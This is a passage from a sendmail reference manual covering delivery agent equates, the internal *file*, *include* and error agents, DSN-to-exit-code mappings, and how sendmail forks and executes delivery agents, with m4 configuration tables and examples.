For prog it can be redefined by using LOCAL_SHELL_DIR, as, for example,

define(`LOCAL_SHELL_DIR', `$z:/var/tmp')dnl
MAILER(local)

Here, LOCAL_SHELL_DIR is given a new value before the prog delivery agent is loaded (via the local).

For all other delivery agents you must first copy an existing delivery agent definition, then modify it as outlined in Section 30.3.1, "Tuning Without an Appropriate Keyword".

If the D= argument is missing, the following error is printed and the D= becomes undefined:

mailer agent_name: null working directory

The chdir(2) process can be traced with the -d11.20 debugging switch (see Section 37.5.46, -d11.20).

30.4.4 E=

The end-of-line string

(All versions)

The E= equate specifies the end-of-line character or characters. Those characters are generated by sendmail for outgoing messages and recognized by sendmail for incoming messages.

The end-of-line characters are defined with the E= equate as backslash-escaped control characters, such as

E=\r\n

Prior to V8.8 the default end-of-line string, if the E= field was missing, was the C language newline character, \n. [5] Beginning with V8.8 sendmail, the default is \n for all but delivery agents that speak SMTP, in which case the default is \r\n.

[5] On some NeXT computers (prior to OS version 2.0) the default E= terminator is \r\n. This can cause serious problems when used with some non-TCP delivery agents like UUCP. If you have a system that does this, you can override that improper default with E=\n.

In general, delivery agents that speak SMTP (those that lack a $u in the A= argument array, should have their end-of-line field set to E=\r\n (for a carriage return/line feed pair). [6] Delivery agents that do not speak SMTP (those that include a $u in the A= argument array) should have their end-of-line field set to E=\n (for a lone linefeed character).

[6] line feed is the same ASCII character as newline.

In using V8 sendmail's m4 configuration, the value given to E= cannot be easily changed. It is supplied to the MAILER(smtp) delivery agents as \r\n but is left as the default \n for all others. If you need to change this value at the m4 level, you must first copy an existing delivery agent definition, then modify it as outlined in Section 30.3.1.

If the E= equate's argument is missing, the following error message is printed and the E= becomes undefined:

mailer agent_name: null end-of-line string

30.4.5 F=

Flags describing a delivery agent's behavior

(All versions)

The F= equate is probably more fraught with peril than the others. The flags specified with F= tell sendmail how the delivery agent will behave and what its needs will be. These flags are used in one or more of three ways:

First, if a header definition relies conditionally on a flag:

H?P?Return-Path: <$g>

  apply if P flag specified in F= equate.

and if that flag is listed as a part of the F= equate:

Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u

                               apply in header

then that header is included in all mail messages that are sent via this delivery agent.

Second, if a delivery agent needs a special command-line argument that sendmail can produce for it but requires that argument only under special circumstances, selected F= flags can produce that result. For example, the F=f flag specifies that the delivery agent needs a -f command-line switch when it is forwarding network mail.

Third, the F= flags also tell sendmail how this particular delivery agent behaves. For example, it performs final delivery or requires uppercase preserved for usernames.

Many flags have special meaning to sendmail; others are strictly user-defined. All of the flags are detailed at the end of this chapter (Section 30.8, "Alphabetized F= Flags").

Note that whitespace characters cannot be used as flags. Also note that flags OR together (they are really just bits), so they can be declared separately, for clarity, as in the following:

F=D,     # include Date: header if not present
F=F,     # include From: header if not present
F=7,     # strip the hi bit when delivering

Or they can be declared all together, with no change in meaning or effect, like this:

F=DF7,

Note that the argument following the F= is optional, and an empty declaration is silently ignored. Also note that the comma can be used as a flag by prefixing it with a backslash.

30.4.5.1 m4 modification of F=

When using V8 sendmail's m4 configuration, you can modify various flags for inclusion with most delivery agents. As shown in Table 30.3 some modifications are made by appending the new flags to the original flags. Others are made by replacing a few flags with new ones and appending the result to the originals. For example, the following declaration:

define(`LOCAL_MAILER_FLAGS', `f')dnl

results in these flags being defined for the local delivery agent:

lsDFMAwq5:/|@f

Table 30.3: m4 Modification of F= Equates
define() | Agent | MAILER() | Append to | Replace
CYRUS_MAILER_FLAGS | cyrus | cyrus | lsDFMnPq | 5@A
CYRUS_MAILER_FLAGS | cyrusbb | cyrus | lsDFMnPq
FAX_MAILER_FLAGS | fax | fax | DFMhu
LOCAL_MAILER_FLAGS | local | local | lsDFMAwq5:/|@ | rmn
LOCAL_SHELL_FLAGS | prog | local | lsDFMoq | eu
MAIL11_MAILER_FLAGS | mail11 | mail11 | nsFx
PH_MAILER_FLAGS | ph | phquery | nrDFM | ehmu
POP_MAILER_FLAGS | pop | pop | lsDFMq | Penu
PROCMAIL_MAILER_FLAGS | procmail | procmail | DFMm | Shu
SMTP_MAILER_FLAGS | smtp | smtp | mDFMuX
SMTP_MAILER_FLAGS | esmtp | smtp | mDFMuXa
SMTP_MAILER_FLAGS | smtp8 | smtp | mDFMuX8
SMTP_MAILER_FLAGS | relay | smtp | mDFMuXa8
USENET_MAILER_FLAGS | usenet | rlsDFMmn
UUCP_MAILER_FLAGS | uucp | uucp | DFMhuUd
UUCP_MAILER_FLAGS | uucp-old | uucp | DFMhuUd
UUCP_MAILER_FLAGS | suucp | uucp | mDFMhuUd
UUCP_MAILER_FLAGS | uucp-new | uucp | mDFMhuUd
UUCP_MAILER_FLAGS | uucp-dom | uucp | mDFMhuUd
UUCP_MAILER_FLAGS | uucp-uudom | uucp | mDFMhuUd

To append to flags or to replace them, use the appropriate definition from the left-most column of the table and make sure your definition precedes the MAILER m4 command, for example,

define(`SMTP_MAILER_FLAGS', `P')dnl                   <-  first
MAILER(smtp)                                          <-  second

If you reverse them, the define will be silently ignored.

30.4.6 L=

Maximum line length

(V8.1 and above)

The L= equate is used to limit the length of text lines in the body of a mail message. If this equate is omitted and if the delivery agent has the obsolete F=L flag set (see Section 30.8.29, F=L), sendmail defaults to SMTPLINELIM (990) as defined in conf.h (see Section 18.8.43, SMTPLINELIM). If the F=L is clear (as it is in modern configuration files), sendmail defaults to 0. The F=L is honored for compatibility with older versions of sendmail that lack this L= equate.

Limiting line length causes overly long lines to be split. When an output line is split, the text up to the split is first transmitted, followed by the ! character. After that the characters defined by the E= equate are transmitted. A line may be split into two or more pieces. For example, consider the following text from the body of a mail message:

The maximum line length for SMTP mail is 990 characters.
A delivery agent speaks
SMTP when the $u macro is omitted from the A= equate.

A delivery agent could limit line length to 20 characters with a declaration of

L=20

With that limit, the above text would be split during transmission into the following lines:

The maximum line len!
gth for SMTP mail is!
990 characters.
But that length is o!
nly enforced if the !
F=L flag is included
in a delivery agent !
definition. A delive!
ry agent speaks
SMTP when the $u mac!
ro is omitted from t!
he A= equate.

Limiting the line length can find application with programs that can't handle long lines. A 40-character braille print-driving program might be one example.

If the argument to L= is missing or if it evaluates to 0 or less, the maximum line limit is set to zero, in which case no limit is enforced.

In using V8 sendmail's m4 configuration, the default for the smtp, esmtp, and smtp8 delivery agents is 990. The default for the relay delivery agent is 2040. The default for all other delivery agents is 0. To change the default at the m4 level, copy an existing delivery agent definition and modify it as outlined in Section 30.3.1.

30.4.7 M=

Maximum message size

(All versions)

The M= equate is used to limit the total size (header and body combined) of messages handled by a delivery agent. The form for the M= equate is

M=nbytes

Here, nbytes is the ASCII representation of an integer that specifies the largest size in bytes that can be transmitted. If nbytes is missing, or if the entire M= equate is missing, nbytes becomes zero. If the value is zero, no checking is done for a maximum.

If the size of the message exceeds the limit specified, an error message is returned (bounced) that looks like this:

--- Transcript of session follows ---
552 <recipient>... Message is too large; nbytes bytes max

Bounced mail includes only a copy of the headers. The body is specifically not bounced. The DSN status is set to 5.2.3 (see RFC1893).

This equate is usually used with UUCP agents, where the cost of telephone connections is of concern. It may also find application in mail to files, where disk space is limited.

Prior to V8 sendmail, care had to be used to avoid setting M= to a non-zero value when the delivery agent had the F=e flag set. That flag tells sendmail that the delivery agent is expensive. If the c option is also set, expensive mail is queued rather than delivered. A problem arose because the size of the message was ignored when it was delivered from the queue, so no queued messages were ever bounced for exceeding the M= limit. This bug is fixed in V8 sendmail.

30.4.7.1 m4 modifications of M=

In using V8 sendmail's m4 configuration, the maximum message size can be changed by using the definitions listed in the leftmost column of Table 30.4.

Table 30.4: m4 Modification of M= Equates
define() | Agent | MAILER() | Default M=
CYRUS_MAILER_MAX | cyrus | cyrus | 0
CYRUS_MAILER_MAX | cyrusbb | cyrus | 0
FAX_MAILER_MAX | fax | fax | 100000
LOCAL_MAILER_MAX | local | local | 0
LOCAL_MAILER_MAX | prog | local | 0
none | mail11 | mail11 | 0
none | ph | phquery | 0
none | pop | pop | 0
PROCMAIL_MAILER_MAX | procmail | procmail | 0
SMTP_MAILER_MAX | smtp | smtp | 0
SMTP_MAILER_MAX | esmtp | smtp | 0
SMTP_MAILER_MAX | smtp8 | smtp | 0
none | relay | smtp | 0
USENET_MAILER_MAX | usenet | usenet | 0
UUCP_MAILER_MAX | uucp | uucp | 100000
UUCP_MAILER_MAX | uucp-old | uucp | 100000
UUCP_MAILER_MAX | suucp | uucp | 100000
UUCP_MAILER_MAX | uucp-new | uucp | 100000
UUCP_MAILER_MAX | uucp-dom | uucp | 100000
UUCP_MAILER_MAX | uucp-uudom | uucp | 100000

To change a maximum size, place your definition before the MAILER command in your mc file. For example, here is one way to increase the limit on UUCP traffic to a more reasonable one million:

define(`UUCP_MAILER_MAX', `1000000')dnl
MAILER(`uucp')

To change the limit for agents that lack a definition, copy an existing delivery agent definition, then modify it as outlined in Section 30.3.1.

30.4.8 N=

How to nice(3) the agent

(V8.7 and above)

The N= equate is used to give a delivery agent a priority in relation to other processes. The mechanism is discussed in the online manual for nice(3).

The form for the N= equate looks like this:

N=incr

Here, incr is a signed integer expression that will adjust the "niceness" up or down. If incr is zero or missing, the niceness of the delivery agent is unchanged. Positive numbers reduce system priority. Negative numbers increase it.

One possible application for the N= equate might be with Usenet news. Because news seldom needs to flow as quickly as normal email, its delivery agent (usenet) can be forced to run at a low system priority:

Musenet, P=/usr/lib/news/inews, F=rlsDFMmn, M=10000, N=10, A=inews -m -h -n

To change the niceness at the m4 level, copy an existing delivery agent definition and modify it as outlined in Section 30.3.1.

30.4.9 P=

Path to the delivery agent

(All versions)

The P= equate specifies the full pathname of the program that will act as the delivery agent. The form for the P= equate looks like this:

P=path

If path is missing, sendmail will print the following error message and set P= to NULL.

mailer agent_name: empty path name

The path can also be one of three names that are defined internally to sendmail. Those internally defined names are [IPC], which tells sendmail to forward mail over a kernel-supported (usually TCP/IP) network; [FILE], which tells sendmail to deliver to a file; and [LPC], which is used for debugging.

P=path

When the path begins with a slash character (when it is a full pathname), sendmail first forks (creates a copy of itself), and then the child process (the copy) execs (replaces itself with) the program. The argument vector (argv, or command-line arguments) supplied to the program is specified by the A= equate (see Section 30.4.1). The program inherits the environment [7] of sendmail and has its standard input and output connected to the parent process (the sendmail that forked). The message (header and body) is fed to the program through its standard input. The envelope (sender and recipient addresses) may or may not be provided on the command line, depending on the nature of the program as defined by its F= flags. If the A= does not include the $u macro, then sendmail will speak SMTP on standard I/O with the program.

[7] In most versions of sendmail the environment is stripped for security. V8 passes only TZ=, AGENT=, and (beginning with V8.7) the environmental variables specified with the E configuration command (see Section 22.2.1, "The E Configuration Command").

P=[IPC]

The special internal name [IPC] specifies that sendmail is to make a network connection to the recipient host and that it should talk SMTP to that host. Most current versions of sendmail allow the name [TCP] [8] to be a synonym for [IPC], but [IPC] should be used when portability is of concern. The $u macro should never be included in the A= for this internal name.

[8] Originally, IPC meant "interprocessor communications," not "interprocess communications" as it does today. Some vendors have made TCP a synonym, thinking that it was more descriptive of the TCP/IP network mechanism. That may be a mistake on their part, because sendmail can interface to other network protocols such as XNS and OSI.

P=[FILE]

Beginning with V8 sendmail, the internal name [FILE] specifies that delivery will be made by appending the message to a file. This name is intended for use by the *file* delivery agent (see Section 30.5, "Internally Defined Names"). [FILE] can be useful for designing a custom delivery agent whose purpose is to append to files (perhaps coupled with the U= equate, Section 30.4.13, to force particular ownership of the file).

P=[LPC]

The special internal name [LPC] (for local person communication) causes sendmail to run in a sort of debugging mode. In this mode the mail message is sent to the sendmail program's standard input, and replies are read (in the case of SMTP) from its standard output; you act as the SMTP server.

The [LPC] mode can be very helpful in tracking down mail problems. Consider the mystery of duplicate five-character "From " header lines that appear at the beginning of a mail message when mail is sent with UUCP. To solve the mystery, make a copy of your sendmail.cf file and change the P= for the UUCP delivery agent to [LPC] in that copy:

Muucp, P=/usr/bin/uux, F=msDFMhuU, S=13, R=23, A=uux - -r $h!rmail ($u)
            -v
          change to
            -v
Muucp, P=[LPC], F=msDFMhuU, S=13, R=23, A=uux - -r $h!rmail ($u)

Then run sendmail by hand to see what it is sending to the uux program:

% /usr/lib/sendmail -Ccopy.cf uucpaddress < message

Here, the -Ccopy.cf command-line argument causes sendmail to use the copy of the sendmail.cf file rather than the original. The uucpaddress is the address of a recipient that would normally be sent via UUCP. The message should contain only a Subject: header line and a minimal body:

Subject: test     <-  one line header
                  <-  a blank line
This is a test.   <-  one line body

If sendmail prints the message with a five-character "From " header line at the top, then you know that sendmail is the culprit.

30.4.9.1 m4 modifications of P=

In using V8 sendmail's m4 configuration technique, the P= equate can be easily changed for all delivery agents by using the definitions in the leftmost column of Table 30.5.

Table 30.5: m4 Modification of P= Equates
define() | Agent | MAILER() | Default P=
CYRUS_MAILER_PATH | cyrus | cyrus | /usr/cyrus/bin/deliver
CYRUS_MAILER_PATH | cyrusbb | cyrus | /usr/cyrus/bin/deliver
FAX_MAILER_PATH | fax | fax | /usr/local/lib/fax/mailfax
LOCAL_MAILER_PATH | local | local | /bin/mail
LOCAL_SHELL_PATH | prog | local | /bin/sh
MAIL11_MAILER_PATH | mail11 | mail11 | /usr/etc/mail11
PH_MAILER_PATH | ph | phquery | /usr/local/etc/phquery
POP_MAILER_PATH | pop | pop | /usr/lib/mh/spop
PROCMAIL_PATH | procmail | procmail | /usr/local/bin/procmail
none | smtp | smtp | [IPC]
none | esmtp | smtp | [IPC]
none | smtp8 | smtp | [IPC]
none | relay | smtp | [IPC]
USENET_MAILER_PATH | usenet | usenet | /usr/lib/news/inews
UUCP_MAILER_PATH | uucp | uucp | /usr/bin/uux
UUCP_MAILER_PATH | uucp-old | uucp | /usr/bin/uux
UUCP_MAILER_PATH | suucp | uucp | /usr/bin/uux
UUCP_MAILER_PATH | uucp-new | uucp | /usr/bin/uux
UUCP_MAILER_PATH | uucp-dom | uucp | /usr/bin/uux
UUCP_MAILER_PATH | uucp-uudom | uucp | /usr/bin/uux

In general, the default values given to these are automatically set when you include the appropriate OSTYPE() directive (see Section 20.3.1, addheader()).

30.4.10 R=

Recipient Rewriting Set

(All versions)

The R= equate specifies a rule set to be used for processing all envelope- and header-recipient addresses for a specific delivery agent. Mail messages are always addressed to at least one recipient, but there may be more. The addresses of the recipients are given in the envelope and are usually repeated in the mail message's header. The envelope address is given to sendmail in one of three ways: as a command-line argument; as an SMTP RCPT command; or as To:, Cc:, and Bcc: headers (if the -t command-line switch is given). [9] Figure 30.1 shows how the R= rule set fits into the flow of addresses through rule sets.

[9] The -t switch is intended for initial submissions only.

Figure 30.1: The flow of addresses through rule sets

There are two forms for the R= equate. One is the standard form, and the other is an enhanced alternative beginning with V8 sendmail:

R=ruleset              <-  legal for all
R=eset/hset            <-  legal beginning with V8

In the first case, ruleset specifies the rule set to use in rewriting both headers and the envelope. If that value is zero or if the entire R= equate is missing, no rule set is called.

In the second case, two rule sets may be specified. [10] One rule set is specific to the envelope, and the other is specific to headers. The envelope-specific rule set is the one to the left of the slash; the header-specific rule set is to the right (R=eset/hset). If both values are missing, both default to zero. If only one is missing, the missing value defaults to the other value.

[10] This form was inspired by an identical form in IDA sendmail.

Either rule set may be specified by using names or numbers or both:

R=Myset                     <-  name
R=12                        <-  number
R=Myset=12                  <-  both

See Section 29.1, "The S Configuration Command" for a discussion of the various legal ways in which rule sets can be specified.

Macros may not be used in delivery agent rule-set specifications. That is,

R=$X

will not give the expected result. Instead, sendmail will complain about a missing rule-set specification.

When using V8 sendmail's m4 configuration, you cannot change or specify R= rule sets. If the need arises, however, you can copy an existing delivery agent definition and then modify it as outlined in Section 30.3.1.

30.4.11 S=

Sender rewriting set

(All versions)

The S= equate specifies a rule set to be used for processing both envelope- and header-sender addresses. The sender's address is given in the envelope and generally repeated in the mail message's From: header line. [11] The envelope address is given to sendmail in one of four ways: as a -f command-line argument, as an SMTP MAIL command, as a From: header, or derived from the identity of the user who ran the program (these latter two are used only during initial message submission). Figure 30.1 shows how the S= rule set fits into the flow of addresses through rule sets.

[11] It is not unusual for these to differ. For example, mail that has been passed through a mailing list exploder may show one address in the envelope and another in the From: header line.

There are two forms for the S= equate. One is the standard form, and the other is an enhanced alternative beginning with V8 sendmail:

S=ruleset              <-  legal for all
S=eset/hset            <-  legal beginning with V8

The first case specifies a rule set (ruleset) that will process both recipient and header addresses. If ruleset is zero or if the entire S= equate is missing, no rule set is called.

In the second case, one rule set is specific to the envelope, and the other is specific to headers. The envelope-specific rule is the one to the left of the slash; the header-specific rule is the one to the right (S=eset/hset). If both values are both missing, no sender S= processing is done. If only one is missing, the missing value defaults to become the other value. (See Chapter 29, Rule Sets, for a description of possible errors and how the new V8.7 symbolic rule set names can be used.)

Either rule set may be specified using names or numbers or both:

S=Myset                     <-  name
S=12                        <-  number
S=Myset=12                  <-  both

See Section 29.1 for a discussion of the various legal ways rule sets can be specified.

Macros may not be used in delivery agent rule set specifications. That is,

S=$X

will not give the expected result. Instead, sendmail will complain about a missing rule set specification.

When using V8 sendmail's m4 configuration, you cannot change or specify S= rule sets. If the need arises, however, you can copy an existing delivery agent definition, then modify it as outlined in Section 30.3.1.

30.4.12 T=

Types for DSN diagnostics

(V8.7 and above)

Beginning with V8.7 sendmail, notification of successful, deferred, or failed delivery is now determined by Delivery Status Notification (DSN, see RFC1891). The T= equate provides three pieces of required information to DSN. The pieces are separated by the slash character:

T=mta-type/addr-type/diag-type

The first piece, the mta-type, is later supplied to the Reporting-MTA: DSN header, as its first argument:

Reporting-MTA: dns; here.us.edu

               mta-type here

The second piece, the addr-type, is later supplied to the Final-Recipient: DSN header, as its first argument:

Final-Recipient: rfc822; badname@here.us.edu

                 addr-type here

The third piece, the diag-type, is later supplied to the Diagnostic-Code: DSN header, as its first argument:

Diagnostic-Code: smtp; 550 <badname@here.us.edu>... User unknown

                 diag-type here

If the P= for a delivery agent is [IPC] or [TCP], an undeclared mta-type defaults to dns, an undeclared addr-type to rfc822, and an undeclared diag-type to smtp. For any other P= the default for an undeclared entry is NULL.

In configuring with the m4 technique, the declarations of the T= equates are

T=X-Unix                          <-  cyrus and prog (equivalent to X-Unix/X-Unix/X-Unix)
T=X-Phone/X-FAX/X-Unix            <-  fax
T=DNS/RFC822/X-Unix               <-  local, pop, and procmail
T=DNS/RFC822/SMTP                 <-  all SMTP agents
T=X-Usenet/X-Usenet/X-Unix        <-  Usenet
T=X-UUCP/X-UUCP/X-Unix            <-  all UUCP agents

You cannot change these T= defaults. If the need arises, you can, however, copy an existing delivery agent definition and then modify it as outlined in Section 30.3.1.

30.4.13 U=

Run agent as uid:gid

(V8.7 and above)

Prior to V8.7 the user and group identities under which sendmail ran were defined by an elaborate set of properties (described under the F=S flag in Section 30.8.40, F=S). Beginning with V8.7, sendmail now offers the U= equate as the means to define those identities. If the U= equate is specified, it sets the default user and group identities for the delivery agent and always overrides the values of the DefaultUser (u) (g) option (see Section 34.8.15, DefaultUser (g)(u)). If the F=S flag is not set, any controlling user will override this U= equate. If the F=S flag is set, this U= equate is absolute, overriding everything, including any controlling user.

The form of the U= equate looks like this:

U=user:group

The user is the alphanumeric identity of a user on the local system. If user is found in the local passwd(5) file, the numeric uid from that file becomes the value used. Otherwise, user, which must be fully numeric, becomes the value used.

The colon, [12] if present, is followed by the alphanumeric identity of a group on the local system. If the group is found in the local group(5) file, the numeric gid from that file is used. Otherwise, group, which must be fully numeric, becomes the value used. If the colon and group are missing or if the user was found in the passwd(5) file, the value is taken from the gid field of the passwd(5) file.

[12] A colon is used because the POSIX standard allows login names to contain a dot.

In using V8 sendmail's m4 configuration, no U= equate is specified for any delivery agent. You cannot add a U= equate with the m4 technique. If the need arises, however, you can copy an existing delivery agent definition and then modify it as outlined in Section 30.3, "m4 Configuration Syntax".

Previous: 30.3 m4 Configuration Syntax | sendmail | Next: 30.5 Internally Defined Names
30.3 m4 Configuration Syntax | Book Index | 30.5 Internally Defined Names


[Chapter 30] 30.5 Internally Defined Names

sendmailSearch this book
Previous: 30.4 The Equates Chapter 30
Delivery Agents 		Next: 30.6 How Executed

30.5 Internally Defined Names

V8 sendmail internally predefines two delivery agents for the special handling of files (*file* and *include*) and one for the special handling of errors (error).

30.5.1 The *file* and *include* Agents

The *file* delivery agent (the * characters are part of the name) handles delivery to files. The *include* delivery agent handles delivery through :include: lists. Neither can be considered a real delivery agent, because actual delivery is still handled internally by sendmail. Instead, they provide a way to tune delivery-agent behavior for these two delivery needs.

The predefined defaults for these delivery agents can be viewed with the following command: [13]

[13] The output lines are unfortunately wrapped at the right margin of this book text.

% /usr/lib/sendmail -d0.15 -bt < /dev/null | egrep "file|include"
mailer 1 (*file*): P=[FILE] S=0/0 R=0/0 M=0 U=0:0 F=9DEFMPloqsu L=0 E=\n T=DNS/RF
C822/X-Unix A=FILE $u
mailer 2 (*include*): P=/dev/null S=0/0 R=0/0 M=0 U=0:0 F=su L=0 E=\n T=<undefine
d>/<undefined>/<undefined> A=INCLUDE $u

The defaults may be overwritten by declaring these delivery agents in the configuration file. For example, the following configuration file declaration overrides the internal definition shown above, and limits the size of any mail message that is delivered to files to 1 megabyte:

M*file*, P=[FILE], M=1000000, F=9DEFMPloqsu, T=DNS/RFC822/X-Unix, A=FILE $u

Note that any equate that does not default to zero (such as the P=, F=, T=, and A= equates) needs to be copied to this configuration file declaration, or the original value will be lost.

A similar change in definition for the m4 configuration of V8 sendmail would look like this:

LOCAL_CONFIG
M*file*, P=[FILE], M=1000000, F=9DEFMPloqsu, T=DNS/RFC822/X-Unix, A=FILE $u

30.5.2 The error Delivery Agent

All versions of sendmail define a special internal delivery agent called error that is designed to aid in the issuance of error messages. It is always available for use in rule sets 0 and 5, and the check_... rule sets and cannot be defined with an M command.

Beginning with V8.7, the form for using the error agent in the RHS of a rule looks like this:

R...          $#error $@ dsn  $: text of error message here

In general terms, the text following the $: is the actual error message that will be included in bounced mail and sent back to a connecting SMTP host. For example, the following rule in rule set 0 would cause all mail to the local user George Washington to bounce:

RGeorge.Washington       $#error $: George Washington doesn't sleep here anymore

with an error message like this:

553 <george.washington>... George Washington doesn't sleep here anymore

30.5.2.1 The $@ dsn part

Delivery Status Notification (DSN, see RFC1893) provides a means for conveying the status of a message's delivery. That status is conveyed in the form of a numeric triple (so as to be easily parseable by machines). This triple is included in the "machine readable" part of bounced messages:

success.category.detail

Each part of the triple is separated from the others with dot characters. There may be no space around the dots. The parts are numeric, and the meanings are as follows: success Was the overall delivery attempt a success? This part can be one of three digits. A 2 means that the message was successfully delivered. A 4 means that delivery has failed so far but it may succeed in the future. A 5 means that delivery failed (permanently). category Failure can be caused by several categories of problem. For example, if this category is a 1, it means that there was a problem with the address. If it is a 4 it means that there was a problem with the network. detail The detail further illuminates the category. For example, a category of 1 (address problem) might be caused by a detail of 1 (no such mailbox), or 4 (ambiguous address).

The $@ part of the error delivery agent declaration specifies a DSN code that is appropriate for the error.

R...          $#error $@ success.category.detail  $: text of error message here

The sendmail program sets its exit(2) value according to the success.category.detail specified. Table 30.6 shows the relationship between those DSN codes on the left and UNIX exit(2) values on the right. Note that the exit values are defined in <sysexits.h>, and note that success codes of 2 and 4 completely ignore any category and detail that may be present (that is, 2.anything.anything marks successful delivery). If $@ lists a code that is not in the table, the default exit value is EX_CONFIG. To illustrate, observe that 8.7.1 (see RFC1893) will exit with EX_DATAERR because it corresponds to the *.7.* in the table.

Table 30.6: DSN Versus exit(2) Values with $@ of $#error
DSN | exit(2) | String | Meaning
2.*.* | EX_OK |  | Successful delivery
4.*.* | EX_TEMPFAIL | tempfail | Temporary failure, will keep trying
*.0.* | EX_UNAVAILABLE | unavailable | Other address status
*.1.0 | EX_DATAERR |  | Other address status
*.1.1 | EX_NOUSER | nouser | Address is that of a bad mailbox
*.1.2 | EX_NOHOST | nohost | Address of recipient is bad
*.1.3 | EX_USAGE | usage | Address of recipient has bad syntax
*.1.4 | EX_UNAVAILABLE | unavailable | Address is ambiguous
*.1.5 | EX_OK |  | Address of destination is valid
*.1.6 | EX_NOUSER | nouser | Address has moved, no forwarding
*.1.7 | EX_USAGE | usage | Address of sender has bad syntax
*.1.8 | EX_NOHOST | nohost | Address of sender is bad
*.2.0 | EX_UNAVAILABLE | unavailable | Mailbox status is undefined
*.2.1 | EX_UNAVAILABLE | unavailable | Mailbox disabled
*.2.2 | EX_UNAVAILABLE | unavailable | Mailbox full
*.2.3 | EX_DATAERR |  | Mailbox is too small or message is too large
*.2.4 | EX_UNAVAILABLE | unavailable | Mailbox led to mail list expansion problems
*.3.* | EX_OSERR |  | Operating system error
*.4.0 | EX_IOERR |  | Network error is undefined
*.4.1 | EX_TEMPFAIL | tempfail | Network: no answer from host
*.4.2 | EX_IOERR |  | Network bad connection
*.4.3 | EX_TEMPFAIL | tempfail | Network routing failure
*.4.4 | EX_PROTOCOL | protocol | Network unable to route
*.4.5 | EX_TEMPFAIL | tempfail | Network congestion
*.4.6 | EX_CONFIG | config | Network routing loop detected
*.4.7 | EX_UNAVAILABLE | unavailable | Network delivery time expired
*.5.* | EX_PROTOCOL | protocol | Protocol failure
*.6.* | EX_UNAVAILABLE | unavailable | Message contents bad or media failure
*.7.* | EX_DATAERR |  | Security: general security rejection
else | EX_CONFIG | config | Internal configuration error

To illustrate, consider the need to reject all mail from a particular host (say evilhost.domain). We want to reject that host for security reasons, so we might set up a rule like this:

R$* < @ evilhost.domain > $*        $#error $@ 5.7.1 $: You are bad, go away

Here, the number following the $@ contains a dot, so it is interpreted as a DSN status expression. The .7. in it causes sendmail to set its exit valut to EX_DATAERR, and the 5.7.1 is defined in RFC1893 as meaning "Permanent failure, delivery not authorized, message refused."

If the number following the $@ does not contain a dot, sendmail sets its exit(2) value to that number. For example, the below results in the same exit(2) value as the above but gives a less informative DSN in the bounce message:

R$* < @ evilhost.domain > $*        $#error $@ 65 $: You are bad, go away

                                    the value of EX_DATAERR from <sysexits.h>

If the expression following the $@ is non-numeric, sendmail looks up the string and translates a known one into the appropriate exit(2) value. The recognized strings are listed in the third column of Table 30.6. For example, the following will cause sendmail to exit with an EX_UNAVAILABLE value:

R$* < @ evilhost.domain > $*        $#error $@ unavailable $: You are bad, go away

If the string following the $@ is not one of those listed in the table, the default exit(2) value becomes EX_UNAVAILABLE.

30.5.3 The $: Part

Recall that the text of the error message following the $: is used as a literal error message. That is, this $: part:

R...          $#error  $: george doesn't sleep here anymore

produces this error for the address george@wash.dc.gov:

553 <george@wash.dc.gov>... george doesn't sleep here anymore

Here the 553 is an SMTP code (see RFC821). If you want a different SMTP code issued, you may do so by prefixing the $: part with it:

R...          $#error  $: 421 george doesn't sleep here anymore

If three digits followed by a space are present as a prefix, those digits are used as the SMTP reply code when sendmail is speaking SMTP. If no digits and space prefix the text, the default SMTP reply code is 553.

A few SMTP codes that are useful with $: are listed in Table 30.7. The complete list of all SMTP codes can be found in RFC821.

Table 30.7: Useful SMTP Codes for Use with $:
Code | Meaning
421 | Service not available (drop the message)
553 | Requested action not taken (bounce the message)

Note that you should restrict yourself to the small set of codes that may legally be returned to the RCPT SMTP command. Also note that any DSN code that is specified in the $@ part must avoid conflicting with the meaning of the SMTP code. For example, the following construct is wrong and should be avoided:

R...          $#error $@ 2.1.1 $: 553 ...       <-  avoid such conflicts

Here, the DSN 2.1.1 means that delivery was successful, whereas the SMTP 553 means that delivery failed and the message bounced.

Previous: 30.4 The Equates | sendmail | Next: 30.6 How Executed
30.4 The Equates | Book Index | 30.6 How Executed


[Chapter 30] 30.6 How Executed

sendmailSearch this book
Previous: 30.5 Internally Defined Names Chapter 30
Delivery Agents 		Next: 30.7 Pitfalls

30.6 How Executed

For safety and efficiency, sendmail undertakes a complicated series of steps to run (execute) a delivery agent. [14] Some (such as setting the environment) are intended to improve security. Others (such as forking) are intended to improve efficiency by creating parallel actions. Here, we discuss those steps in the order in which they are taken by sendmail.

[14] For the purpose of this discussion we will exclude the internal agents (such as IPC) and focus on actual programs (such as /bin/mail).

30.6.1 Fork

When sendmail performs delivery, it cannot simply replace itself with the delivery agent program. Instead, it must fork(2), and the child will replace itself.

If sendmail is running in verbose mode (see Section 34.8.76, Verbose), it shows that it is about to start this process:

Connecting to delivery agent

If a traffic-logging file was specified with -X command-line switch (see Section 26.4, "Log Transactions with -X"), sendmail appends the following line to that file:

pid === EXEC the expanded A= here

Here, the A= equate (see Section 30.4.1) from the delivery agent's declaration is printed with all its macros expanded and with the recipients listed.

Next sendmail creates a pipe so that it will be able to print the email message to the delivery agent and so that it can read errors emitted by the delivery agent. See the -d11 debugging switch (see Section 37.5.44, -d11.1) for a description of what can go wrong.

If all has gone well, sendmail fork(2)s a copy of itself. The parent then pipes the email message to the child.

30.6.2 The Child

The child is the copy of sendmail that will transform into the delivery agent. But before the child can transform, it must perform a few more necessary steps.

If sendmail was compiled with HASSETUSERCONTEXT defined (see Section 18.8.9, HAS...), it calls setusercontext(3) like this:

setusercontext(NULL, pwd, uid, LOGIN_SETRESOURCES|LOGIN_SETPRIORITY);

Here, pwd is a pointer to a structure of type passwd for the user whose uid is uid. The uid is that of the controlling user (see Section 24.2.2, "Delivery to Files") or the recipient (see Section 30.8.33, F=o).

If the N= equate (see Section 30.4.8) has a nonzero value, sendmail calls nice(3) to "re-nice" the delivery agent to that value.

The sendmail program next sets its uid and gid as appropriate. If the DontInitGroups option (see Section 34.8.19, DontInitGroups) is false, sendmail calls initgroups(3). The identity used is that described under the DefaultUser option (see Section 34.8.15).

Next sendmail attempts to chdir(2) into one of the directories listed in the D= equate (see Section 30.4.3). This process can be watched with the -d11.20 debugging switch (see Section 37.5.46).

Finally, sendmail calls setsid(2) to become a process-group leader and execve(2) to become the delivery agent. That latter call looks like this:

execve(agent, argv, envp);

